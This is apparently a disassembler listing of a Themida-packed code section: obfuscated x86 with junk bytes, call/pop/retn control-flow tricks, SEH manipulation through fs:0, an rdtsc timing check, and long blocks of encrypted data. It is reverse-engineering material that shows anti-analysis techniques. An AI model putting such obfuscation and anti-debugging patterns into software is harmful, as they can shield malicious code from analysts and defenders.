loc_5B4F5B:				; CODE XREF: Themida_:005B4F43j
		popa
		lea	eax, [ebp+6164B4Ch]
		pusha
		push	esi
		sub	[ebp+613062Dh],	eax
		pop	eax
		mov	ebx, [ebp+6130771h]
		popa
		call	eax
		xor	[ebp+6130581h],	edi
		jmp	near ptr dword_5B48D0+482h
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5B4F8A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4F8A	proc near		; CODE XREF: Themida_:005B4F82p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B4F8A	endp

; ---------------------------------------------------------------------------
		db 0DBh
; ---------------------------------------------------------------------------


loc_5B4F9B:				; CODE XREF: Themida_:loc_5B3EEBj
		lea	eax, [ebp+6168F5Eh]
		pusha
		adc	ax, 685Fh
		mov	esi, [ebp+6132535h]
		popa
		push	eax
		pusha
		mov	dx, 32Bh
		push	eax
		mov	edi, edx
		pop	edx
		popa
		mov	[esp], eax
		jmp	loc_5B4FD1
; ---------------------------------------------------------------------------
		db 0F9h, 43h, 8Bh
		dd 0C1670DE0h, 0E643689h, 0C6DAB8F9h
		db 38h
; ---------------------------------------------------------------------------


loc_5B4FD1:				; CODE XREF: Themida_:005B4FBCj
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_5B4FE3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4FE3	proc near		; CODE XREF: Themida_:005B4FDBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B4FE3	endp

; ---------------------------------------------------------------------------
		inc	ebx
		or	[eax+0EE9h], dh
		add	[ebp-597F6416h], dl
		push	3Fh
		add	al, 1Ah
		and	al, 5Ah
		fstp	tbyte ptr [eax+24048B5Ch]
		push	0
		push	esi
		call	sub_5B5017
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5017	proc near		; CODE XREF: Themida_:005B500Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B5017	endp

; ---------------------------------------------------------------------------
		pop	ss
		mov	cs:[ebp+6131D51h], eax
		pusha
		jz	loc_5B503B
		add	ax, 1D4Dh


loc_5B503B:				; CODE XREF: Themida_:005B5030j
		or	esi, 4BC4BCABh
		popa
		mov	large fs:0, esp
		sub	[ebp+6131BE1h],	ebx
		lea	eax, [ebp+6168DD2h]
		jbe	loc_5B5061
		mov	[ebp+6133021h],	ecx


loc_5B5061:				; CODE XREF: Themida_:005B5055j
		mov	[eax+1], esp
		or	[ebp+613092Dh],	edx
		jmp	loc_5B507C
; ---------------------------------------------------------------------------
		inc	ecx
		retf
; ---------------------------------------------------------------------------
		db 7, 85h, 0E2h
		dd 8660A79Eh, 4CDFF07Eh
; ---------------------------------------------------------------------------


loc_5B507C:				; CODE XREF: Themida_:005B506Aj
		jmp	loc_5B5255
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+6131FD1h],	edi
		mov	esi, 76B8423Bh
		popa
		mov	ebx, ebx
		call	$+5
		pop	ebp
		sub	ebp, 6168DCBh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+61322C1h], 0
		jz	short loc_5B50C2
		mov	eax, [ebp+6130F55h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+613206Dh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+6131CBDh]


loc_5B50C2:				; CODE XREF: Themida_:005B50A8j
		pusha
		push	dword ptr [ebp+6167821h]
		lea	eax, [ebp+6167825h]
		push	eax
		lea	eax, [ebp+6167A1Dh]
		push	eax
		call	dword ptr [ebp+6131185h]
		add	esp, 0Ch
		popa
		jmp	loc_5B50EE
; ---------------------------------------------------------------------------
		dw 3DBh
		dd 0A3677F54h
		db 42h,	0DAh
; ---------------------------------------------------------------------------


loc_5B50EE:				; CODE XREF: Themida_:005B50E1j
		push	0
		push	ebx
		call	sub_5B50F9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B50F9	proc near		; CODE XREF: Themida_:005B50F1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B50F9	endp

; ---------------------------------------------------------------------------
		db 0C4h, 0CEh, 27h
; ---------------------------------------------------------------------------
		mov	ds:574D4182h, eax
		cmpsb
		add	[ebp+613141Dh],	ebx
		pusha
		mov	dx, 8270h
		sbb	edi, 5C2DE576h
		popa
		clc
		lea	esi, [ebp+6167A1Dh]
		mov	[ebp+613169Dh],	ecx
		lea	edi, [ebp+6132609h]
		pusha
		mov	cx, ax
		ja	loc_5B5145
		mov	bx, 5901h


loc_5B5145:				; CODE XREF: Themida_:005B513Bj
		popa
		mov	[ebp+6131459h],	edx


loc_5B514C:				; CODE XREF: Themida_:loc_5B5171j
		cmp	byte ptr [esi],	0
		jz	loc_5B5192
		stc
		movsb
		jmp	loc_5B5165
; ---------------------------------------------------------------------------
		dd 11FF97BDh, 864EE295h
		db 0CCh
; ---------------------------------------------------------------------------


loc_5B5165:				; CODE XREF: Themida_:005B5157j
		jg	loc_5B5171
		mov	[ebp+6132085h],	ebx


loc_5B5171:				; CODE XREF: Themida_:loc_5B5165j
		jmp	loc_5B514C
; ---------------------------------------------------------------------------
		jp	loc_5B5192
		jmp	loc_5B5192
; ---------------------------------------------------------------------------
		db 0FCh, 1, 9Eh
		dd 5578CB04h, 34E5628Bh, 0FD125AC5h
		db 0CEh, 0FEh
; ---------------------------------------------------------------------------


loc_5B5192:				; CODE XREF: Themida_:005B514Fj
					; Themida_:005B5176j ...
		mov	eax, 0
		jmp	loc_5B51AA
; ---------------------------------------------------------------------------
		dd 0ED057B10h, 116D8F10h, 29B0C9DBh
		db 0CAh, 0B3h
; ---------------------------------------------------------------------------


loc_5B51AA:				; CODE XREF: Themida_:005B5197j
		stosb
		push	0
		push	ebx
		call	sub_5B51B6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B51B6	proc near		; CODE XREF: Themida_:005B51AEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B51B6	endp

; ---------------------------------------------------------------------------
		dw 0C7E3h
		dd 7B8E660h, 60000000h,	595BD89h, 7E90613h, 61000000h
		dd 295B191h, 0C76194E5h, 1321BD85h, 106h, 13E900h, 0C6B50000h
		dd 9989FAC1h, 68AC2494h, 20497A16h, 863241E1h, 8D8D8DB8h
		dd 6006134Fh, 0AE641DB9h, 61D08B66h, 880FE1FFh,	0Ch, 6870Fh
		dd 95890000h, 6132595h,	0C245C8Bh, 0E855h, 815D0000h, 168F68EDh
		dd 0B8838B06h, 89000000h, 16782185h, 0C4858D06h, 8906168Dh
		dd 0B883h, 0C0335D00h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_5B5255:				; CODE XREF: Themida_:loc_5B507Cj
		push	0
		push	eax
		call	sub_5B5260
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B5260	proc near		; CODE XREF: Themida_:005B5258p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5B5260	endp

; ---------------------------------------------------------------------------
		add	[ebx-613C08A2h], ecx
		jmp	loc_5B528C
; ---------------------------------------------------------------------------
		db 6Eh
		dd 0C38A8664h, 7C15CAC3h, 1A732439h, 6ED6AE59h
; ---------------------------------------------------------------------------


loc_5B528C:				; CODE XREF: Themida_:005B5276j
		jnz	loc_5B5298
		xor	[ebp+613219Dh],	ebx


loc_5B5298:				; CODE XREF: Themida_:loc_5B528Cj
		jb	loc_5B529F
		clc


loc_5B529F:				; CODE XREF: Themida_:loc_5B5298j
		pusha
		jl	loc_5B52BC
		jmp	loc_5B52BC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 75569483h, 7F819D15h, 9543C30Ah, 0E2212C4Ch
; ---------------------------------------------------------------------------


loc_5B52BC:				; CODE XREF: Themida_:005B52A0j
					; Themida_:005B52A6j
		lea	eax, [ebp+616918Fh]
		cmc
		push	eax
		jno	loc_5B52E8
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		jmp	loc_5B52E6
; ---------------------------------------------------------------------------
		db 3Ah,	10h, 0B2h
		dd 0EC35166Dh, 8A3AFE92h, 0F2FD2E4Fh
		db 60h,	1Bh
; ---------------------------------------------------------------------------


loc_5B52E6:				; CODE XREF: Themida_:005B52D0j
		pop	edx
		pop	eax


loc_5B52E8:				; CODE XREF: Themida_:005B52C4j
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5B52F6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B52F6	proc near		; CODE XREF: Themida_:005B52EEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B52F6	endp

; ---------------------------------------------------------------------------
		dw 7F64h
		dd 870FAAF7h, 6, 0F2D8531h, 0FF640613h,	35h, 1860F00h
		dd 0F9000000h, 258964h,	0E9000000h, 0Ah, 8759051Fh, 59310C61h
		dd 8D09410Bh, 6132FA5h,	9237858Dh, 6A0616h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B5C5F1C3h
		dd 9D89692Bh, 6131AF5h,	1F858D29h, 60890613h, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0B6B010A8h, 0B1E4F51Ch, 89FC6CF2h, 1305B595h, 0E185C606h
		dd 4F061311h, 31F18509h, 7A680613h, 0E9DE83ECh,	10h, 0DA0BDC52h
		dd 35DB9D57h, 0B094751Fh, 84343E0Ah, 50243481h,	9204B98h
		dd 130FC9BDh, 65B58906h, 0FF061325h, 131EE9B5h,	0E9952906h
		dd 8D061328h, 167C3385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 3A72DC8Bh, 47E82A96h
		dd 0C8F0Fh, 8C0F0000h, 6, 8D0Fh, 0D0FF0000h, 953160F8h
		dd 6130C4Dh, 0CEE961F5h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9D80C351h
		dd 29C9E7DEh, 13189585h, 245C8B06h, 0E8550Ch, 5D000000h
		dd 9199ED81h, 858B0616h, 613116Dh, 1EE98589h, 858B0613h
		dd 61310D1h, 1FE58589h,	858B0613h, 61307C9h, 55D8589h
		dd 85C60613h, 61311E1h,	7385C700h, 6167Dh, 8D000000h, 16923785h
		dd 0B8838906h, 5D000000h, 6AC3C033h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8D88C357h
		dd 82657B30h, 8D89D663h, 6131EEDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 36C35040h, 0E97CE55Ah, 98B9500h
		dd 131541B5h, 0FF74BC06h, 6A0012h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0B53415C3h, 0A7985804h
		dd 0B589334Ah, 61322C5h, 58F64h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 167CC350h
		dd 7E6E9606h, 8D896028h, 6132CD9h, 0C48361F5h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 43F7DE2Dh, 106324A9h, 29C19D29h, 61F90613h, 83E9h, 52515300h
		dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
		dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
		dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
		dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h,	84028A04h
		dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
		dd 48B0F04h, 24440386h,	5A5E5F1Ch, 8C25B59h, 0E9C03300h
		dd 0FFFFFFF1h, 0DE8CA8Bh, 0EB000000h, 5565E419h, 97D80076h
		dd 0CA9AE530h, 28B0Fh, 0D08B0000h, 0CAB70F5Bh, 5AF4C381h
		dd 8B660000h, 1683BFD0h, 830F0000h, 19h, 138D0Fh, 0DE80000h
		dd 0FE000000h, 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 0E833FF5Ah
		dd 14h,	0FD345D2Eh, 0A83BBDB0h,	6D31D76h, 8A46DD89h, 0DE59EA83h
		dd 54059CB8h, 0B15E5A36h, 0B1F68146h, 0E96F5B95h, 0Ah
		dd 7F1994DCh, 0FE9B3852h, 0EE815A81h, 2FED01ADh, 8C50BA50h
		dd 8159402Ch, 0F88CACEEh, 0F8C18177h, 893BC1BCh, 8E833h
		dd 88370000h, 11540D27h, 835A3E1Ch, 816601EBh, 4B45F4C8h
		dd 0B8664B4Bh, 0EF812BBEh, 1, 1B850Fh, 800F0000h, 5, 0E4F28166h
		dd 19E92Bh, 5D890000h, 26B7CA75h, 49099CB1h, 50B16015h
		dd 0FF5FE961h, 0D69BFFFFh, 0E9B661D1h, 0FAh, 2D7B691Fh
		dd 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h
		dd 59A0A3D2h, 1Eh, 4 dup(0)
		dd 0E6E90000h, 6800000Bh, 616979Dh, 0FCEC13E9h,	988568FFh
		dd 9E90616h, 68FFFCECh,	6169939h, 0FCEBFFE9h, 99CF68FFh
		dd 0F5E90616h, 68FFFCEBh, 6169A60h, 0FCEBEBE9h,	9AF668FFh
		dd 0E1E90616h, 68FFFCEBh, 6169C58h, 0FCEBD7E9h,	9D2F68FFh
		dd 0CDE90616h, 68FFFCEBh, 6169E14h, 0FCEBC3E9h,	9F0268FFh
		dd 0B9E90616h, 68FFFCEBh, 6169FB6h, 0FCEBAFE9h,	74E270FFh
		dd 6CE27456h, 72D86C4Eh, 73DD6E54h, 74E06D53h, 0A3C86756h
		dd 0BAA03E16h, 0A88A282Ah, 0B3953513h, 0BF8C2A22h, 49F16DA0h
		dd 67BA16B4h, 4DE0C2FBh, 8B2F6EFFh, 0C1401139h,	0C884D5F7h
		dd 4B075579h, 0C987D8FAh, 4A045678h, 41BAD8FBh,	0FA8F0354h
		dd 7757F548h, 77543237h, 8EA39306h, 4696BC16h, 0E627C40Ch
		dd 7C28DEC9h, 13E3C3DCh, 0A5381AC9h, 902107A7h,	0AA3B1FBCh
		dd 8CCB1AA2h, 2C3D17A6h, 25A4E3EDh, 9D0A8A6Eh, 9F5D5780h
		dd 1DF0C5BFh, 9C2428B9h, 9829D972h, 0A13416B4h,	0BA2B0CABh
		dd 0A8A1560h, 8DDCE429h, 73D96C4Eh, 3719A3E2h, 0EF97A6A6h
		dd 0A73AE861h, 0EFAD05A5h, 915AAD8Ah, 0A93317A9h, 4A772h
		dd 6CBDC800h, 0DDCC3E0h, 6BE1F7D3h, 3E80DFE9h, 454161EBh
		dd 654D6A1Ch, 0A9E879D5h, 4E96B205h, 0BD0C2E11h, 83BE4D97h
		dd 0C168F98h, 0B49BB889h, 0EC5248BAh, 0A7E6EE00h, 0A8AD527h
		dd 0EF7ED663h, 62F35BEBh, 9E87046Eh, 1E3EBB57h,	5AACC65Eh
		dd 0C6C61A40h, 8ADD3B97h, 0E081040Ah, 71A83051h, 4Dh, 70E5C2C5h
		dd 109DB516h, 0CA1CBEDFh, 0E9003C84h, 0CECF3E9Dh, 9F168E98h
		dd 409EEF7Eh, 970A8A89h, 0B8D06248h, 0F5122FF2h, 16B8D9B1h
		dd 0C53F89C3h, 75480834h, 0D2A5AADh, 8A487ED8h,	0D490AF0Ah
		dd 86B74884h, 158C54B9h, 0B9h, 0E06CBD29h, 74E06D51h, 0FC50E1E5h
		dd 74D8696Dh, 0B7962756h, 0D3F7109Dh, 1D7CCD85h, 1C3081D3h
		dd 3499CBEh, 9BEBF632h,	0B6C4C93Ch, 2A0D168Eh, 8AA45FBBh
		dd 0DBE5280Ah, 3957498Eh, 0D0E312B5h, 0CC1511B1h, 0CC6034F4h
		dd 0DCBD690Dh, 868B8EFFh, 21641074h, 4311A082h,	0CE604263h
		dd 8850B180h, 285DF746h, 79F00A2Eh, 0E685C067h,	5A000008h
		dd 466C4A0Ch, 567C5AF4h, 486A4802h, 577959F7h, 396C4A0Ah
		dd 0C4895F6h, 163C8CAEh, 0B3D92B8h, 183485ABh, 3FAEB1BAh
		dd 16B44BE3h, 0C2C975ACh, 0DC2934DDh, 1FA95E39h, 87F6A02Dh
		dd 109E780Bh, 0F2D0B1D4h, 0EFCF7DD0h, 0C8BEA351h, 57E6CCEBh
		dd 0A32D6CFDh, 8E986564h, 86D73616h, 8A8797F7h,	0CD85D30Ah
		dd 46085A7Ch, 9D2E64F7h, 54E521A8h, 0AD396828h,	0B0D05Ah
		dd 0BD660000h, 0DFC3E06Ch, 0D2330252h, 0EA775B0Ah, 0DBFCDB6Ah
		dd 9DB530AAh, 4C94F910h, 9DB84CBDh, 3715A810h, 2C20B197h
		dd 0BCCA1F1Dh, 0A6AE3B1Fh, 716E7697h, 8EB619FCh, 0A0D5F216h
		dd 0A8AA326h, 0EFCFAEEFh, 0D806BAAFh, 0FB293C26h, 0D7FBD8B9h
		dd 0D2FFC989h, 74F98FA3h, 0A6058810h, 0BF1F3584h, 55084C99h
		dd 79F08B6Bh, 0FEFCD990h, 42000007h, 5E4462F4h,	0FE2482CCh
		dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h
		dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B44D7Bh, 0BD71CD44h
		dd 0BC902170h, 87DCFEDDh, 0C71170C1h, 3616A789h, 6CBD3A98h
		dd 0DC6D51E0h, 626C5270h, 49662049h, 8EA59514h,	0DC311616h
		dd 0F82C2CDFh, 7095529Ah, 19CAFE8Fh, 5198E842h,	0CE679635h
		dd 0CF11B28Eh, 2DDBEB88h, 7F1E81B0h, 0EF97D2EEh, 7DC8EFD0h
		dd 0FD0F9FD8h, 418EFDC7h, 0AE0B9C2Dh, 506F506Fh, 979CC11Dh
		dd 184D8AFFh, 0FF979CBEh, 5D670687h, 4462EA7Bh,	0CC81CB5Eh
		dd 751333FEh, 4A7D580Fh, 0F6000007h, 0EAD0EE68h, 0F2D8F658h
		dd 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h, 0BA98280Ah
		dd 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B44E7Fh, 0BD6DD148h
		dd 0DFC3E06Ch, 63ED3E51h, 0AD23302h, 82045D5Bh,	8C200225h
		dd 53E26AFBh, 0DC6F5332h, 2C25646Ch, 0ED168E94h, 0D30E0AA8h
		dd 82E114B3h, 0F107801h, 0B809318Eh, 0C1143694h, 637EBA8Bh
		dd 3B518423h, 780A616Bh, 4194B615h, 3485AB0Bh, 0F6EB4918h
		dd 87C23390h, 0D0044E4Bh, 0E0FC184Dh, 72396DC5h, 6B457h
		dd 183E8C00h, 84698BAh,	163488AAh, 0F4192B8h, 183C89AFh
		dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh
		dd 4D8D097Ch, 435616B4h, 5BEA31Fh, 0DCFB9AB6h, 56E761F6h
		dd 0E469337h, 0C916DE3Fh, 8B218894h, 0AEFD2516h, 9FAD00A2h
		dd 56759855h, 2B79DD71h, 60688476h, 676B5473h, 5806B1F2h
		dd 6FC214DCh, 8ADBFDDDh, 2C3573C2h, 785A7D5Ah, 0D935A8E4h
		dd 0A20A873Dh, 4BBA0263h, 10781D52h, 837FF213h,	0AC79EFB3h
		dd 623E0FDh, 911D0000h,	73C3E5C5h, 83D5FBDBh, 72C1E7C7h
		dd 8BDA00DEh, 75BAE9C9h, 2B8BC918h, 3B9BB705h, 2886C215h
		dd 3D9DAF02h, 60BA2B34h, 2916B44Fh, 0E5C24EF0h,	9DB51670h
		dd 0B8F8DF10h, 9BEF5892h, 122EB6D7h, 0DD10AFD7h, 168BD79Eh
		dd 0E5CDEA2Bh, 0F8DAF854h, 5A56E765h, 7758770Fh, 0F9A50750h
		dd 0D8E09AFAh, 75D373A9h, 4E6DB010h, 0DB6C4E71h, 0D28A0475h
		dd 32530471h, 3715A8AAh, 2C20B197h, 0BCCA1F1Dh,	0B3B3EE1Fh
		dd 99FC0A62h, 0DA49E4E4h, 1732F973h, 58Dh, 8F2F27B3h, 953519A9h
		dd 892921B3h, 9A3818A7h, 8B2B29B8h, 0E7769798h,	0DD6B4D6Dh
		dd 0E0735575h, 0D5684A68h, 458A5777h, 0B44EB610h, 382A7F16h
		dd 8C1D6CBDh, 1D02A1C0h, 0B588D580h, 4FBE1D78h,	109DD8D3h
		dd 0F06F799Ch, 581F4D3h, 39109DD9h, 7392A3A7h, 3517A1E4h
		dd 270BA8A4h, 2432BA9Ah, 90C3FDE4h, 88388CD3h, 9AFB53E3h
		dd 4CA9DCFBh, 0D5168EBCh, 0F250A1B0h, 490A8AB7h, 50204CBDh
		dd 0F85AACE5h, 44h, 0C8BEA35Eh,	7AEBCCEBh, 109DB520h, 0FB4A0054h
		dd 8048CD9Ah, 8E980001h, 0FD4CD116h, 7F59F9DEh,	0D8EC5B7h
		dd 82C644C3h, 0B0020A8Ah, 3B8BCF9Eh, 61914213h,	9AF4FDE8h
		dd 243DFB21h, 0D0A55AADh, 0B9000000h, 0C3E06CBDh, 0B51571E4h
		dd 0BFDE109Dh, 4594B635h, 39213E0Fh, 7495A4A8h,	75D76A6Ch
		dd 0FD4FE2E4h, 9AD700DDh, 15F87E61h, 0A7B0AD2h,	66109DC3h
		dd 775979D3h, 0D9D766E6h, 0F6D9F690h, 0BC2AA4D9h, 0CF5E109Dh
		dd 655B485h, 63CE3D87h,	0C168E8Dh, 250D2A89h, 68A9B894h
		dd 8A8A9DF9h, 7B61660Ah, 2914899Dh, 0C311DBBAh,	0CBE89EC3h
		dd 74C2209Ah, 0C7E42910h, 0E1FE56E3h, 56E76BF9h, 0E9659837h
		dd 0B20474AEh, 654B8953h, 0C9097CD8h, 0A79F044h, 42B6663h
		dd 0C9150000h, 0BB0B2D8Dh, 0BB0D3393h, 0BA092F8Fh, 0C3123896h
		dd 2D023191h, 0C3E371C0h, 0A3034FDDh, 0C01E2A7Dh, 0A505479Ah
		dd 0C842B39Ch, 9116B450h, 70BD2618h, 51E4C6E4h,	0A37DDBFBh
		dd 99B505BEh, 8B2849C8h, 8E987B5Ah, 0EAC94C16h,	73FB9DC5h
		dd 0D51F2CBFh, 2967E716h, 54BE0A8Ah, 9EC795B7h,	0B96F5AADh
		dd 0D3000000h, 51E06CBDh, 0E574E06Dh, 3A94C9E6h, 3109DB5h
		dd 0B53591C4h, 9FFE109Dh, 2697F6FEh, 82109DB8h,	9CBE1D2Fh
		dd 0D435044Ah, 0C9F1CE0Ch, 382D377h, 64697B9h, 96F0F937h
		dd 8259C439h, 8302168Eh, 91200223h, 0C91372C3h,	0B512746Dh
		dd 74DD4540h, 308F0E10h, 0D984DE0Fh, 0C84D0474h, 62EFD300h
		dd 5FEED4F2h, 6F5C80F5h, 0E28979F0h, 354E7h, 0F85EEC00h
		dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h
		dd 0F85CE9CFh, 2744EBDAh, 361CBA9Ah, 2C0EACA6h,	2F11B197h
		dd 4310AE9Eh, 526DE91Ch, 0E33616B4h, 0E470BD7Fh, 3551E4C6h
		dd 0EA8A2B92h, 1DBDDC98h, 83C51A40h, 0CF8953B2h, 51E06CBDh
		dd 1AADDC6Dh, 4E6F4F2Eh, 57E5B969h, 0F9C36C1Bh,	0B9B0C9D3h
		dd 0FE7FEECDh, 0F168F06h, 0D326D8Eh, 356A94A2h,	0E01FA9CDh
		dd 0AE96170Ah, 124385DCh, 665592B8h, 5E7D1C81h,	4689922Fh
		dd 9A270B6Ch, 626AABBAh, 92B18005h, 72C640B5h, 8EFF6042h
		dd 60427314h, 6AABB8DDh, 7B0B5662h, 68E2765Ch, 0F8BFAD9h
		dd 0D8604273h, 0CF0CD4B5h, 3087719Eh, 20BFDE66h, 6A5A73Ah
		dd 6EFB9424h, 573657E6h, 1F3D8706h, 85CB1C3Eh, 498B55B4h
		dd 52154F8h, 1ECFA78Dh,	26F528Fh, 85D10000h, 7FCFF1D1h
		dd 77C9EFCFh, 7ECDF3D3h, 7FCEF4D2h, 69C6F5D5h, 3F9FB504h
		dd 2787CB19h, 3C9AAE01h, 2989C316h, 54CE3F20h, 1D16B453h
		dd 6CBD5A04h, 0B557B322h, 0FD20109Dh, 0ED203F9Ch, 109DB571h
		dd 89C7183Ah, 2381E0E8h, 0FA6B483Eh, 168EB5EFh,	0EFD5F518h
		dd 0EF97D213h, 9DD0EFD0h, 0A8AB341h, 0C2418B0Ah, 107BA423h
		dd 0CDF2D134h, 5DC5443Fh, 9E6F79EBh, 480C5981h,	0B15098F9h
		dd 9FED0C4Dh, 0B7147277h, 0D96CAF46h, 17AAB04Dh, 0E071E372h
		dd 1071C0A1h, 0BFE3E071h, 3253E272h, 75538EAAh,	0D5578600h
		dd 0AFCE4F41h, 0B80B2F10h, 5765E190h, 0EF2E41D5h, 0F0D7F8E5h
		dd 0C1164D01h, 7057B687h, 616B1073h, 0C318D522h, 0E4C34247h
		dd 4351DFC3h, 0BE87B812h, 7D1C813Bh, 7CD06173h,	63E97C5Eh
		dd 3A1DE6EEh, 213CEBB1h, 181h, 0C3E373BFh, 0A1014DDDh
		dd 0BD1D2D7Fh, 0A6044C9Bh, 0BF1F3584h, 0FB4AA38Ch, 9577959h
		dd 0F4476949h, 1547654h, 815E6B4Bh, 0B453920Ch,	1C465B16h
		dd 8F1D6CBDh, 721372C3h, 0EA9CC5E3h, 0AFD598CDh, 2F6E168Eh
		dd 3517AA90h, 1487ADABh, 0C640B592h, 8F0A8A99h,	6F7AC60Eh
		dd 0B397B817h, 0FA1B2A22h, 8B1293F2h, 0E223107Bh, 0A87FDAC5h
		dd 736FA58Dh, 76E18802h, 0ADCC5104h, 0DFDB7223h, 399C4885h
		dd 4795630h, 5174EA6Dh,	221E2F6Eh, 3F20BFC7h, 0D671ED20h
		dd 0DB3A4570h, 0EA457211h, 53B24B5Eh, 51FB4E74h, 4EFE4F71h
		dd 0D5EFC31Bh, 1835F4B4h, 0CDh,	4F6FE773h, 5575D969h, 4969E173h
		dd 5A78D867h, 4B6BE978h, 27B6D758h, 1DAB8D2Dh, 20B39535h
		dd 15A88A28h, 85CA9737h, 0B453F650h, 0F86ABF16h, 0C3E06CBDh
		dd 6DFC4CDFh, 0E273D769h, 6BFAC2A3h, 5572144Dh,	8EB8F120h
		dd 0C3E32216h, 0CBE89EC3h, 0CE6F4E4h, 0AB3E1ED6h, 0B2802779h
		dd 0B3A0282Fh, 78120A42h, 499BBF10h, 0EB2AB701h, 0A1E5785Ah
		dd 125B65ADh, 5A5C478h,	1DBA9223h, 9AABA735h, 83F2717Bh
		dd 2FC76254h, 0F065427Dh, 0D906D196h, 5CB63E5Fh, 0AAA233DFh
		dd 0B993260Ch, 3B15A6A8h, 3FBC362Ah, 0AC0A4293h, 48193386h
		dd 5DB92C0Bh, 91D906D2h, 0DF3E0F43h, 98C30D90h,	0Dh, 815E7B36h
		dd 9DB4920Ch, 0B23A5B10h, 0E571BD28h, 6DDF7254h, 0E365FADCh
		dd 72E07052h, 252DFE3h,	92C20F33h, 20307FC3h, 0AF9B2D11h
		dd 242ABC9Eh, 9C682215h, 89000041h, 0E189240Ch,	4C181h
		dd 0E9830000h, 240C8704h
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	0CFh
		mov	[esp], ecx
		push	edx
		push	esi
		mov	esi, 61695B3h
		mov	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	2D27h
		mov	[esp], ebp
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
